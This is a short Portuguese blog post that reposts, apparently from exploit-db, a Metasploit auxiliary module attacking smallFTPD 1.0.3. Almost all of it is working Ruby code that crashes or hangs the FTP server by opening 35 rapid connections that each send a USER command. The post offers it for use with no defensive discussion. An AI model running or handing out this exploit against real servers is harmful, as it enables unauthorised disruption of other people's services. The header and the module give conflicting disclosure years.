Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability | João Paulo @little

Exploit para dos no SmallFTPD:

# Exploit Title: smallFTPD Connection Saturation Remote Denial of Service

# Date: June 27, 2011

# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>

# Software Link: http://smallftpd.sf.net

# Version: 1.0.3-fix and earlier

# Tested on: windows xp, seven, 2k3

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

include Msf::Auxiliary::Dos

def initialize(info = {})

super(update_info(info,

'Name' => 'smallFTPD Connection Saturation Remote Denial of Service',

'Description' => %q{

This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and

earlier  with a few dozens of connection requests. The vulnerability is probably  conerned with smallftpd being unable to handle multiple connections  regardless of its maximum connection settings. Upon successful DoS  exploit, the smallftpd will crash

or still seem functioning by showing its service banner. But in fact it stops denying new FTP requests, which can be verified only through a valid login.

},

'Author' => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],

'License' => MSF_LICENSE,

'Version' => '$Revision: $',

'References' =>

[

[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]

],

'DisclosureDate' => 'June 2010'))

register_options(

[

Opt::RPORT(21)

],self.class)

end

def run

print_status("Sending DOS Packets ...")

35.times do |x|

connect

sock.put("USER CRASHEDrn")

disconnect

end

print_good("Done")

end

Fonte: http://www.exploit-db.com/exploits/17455/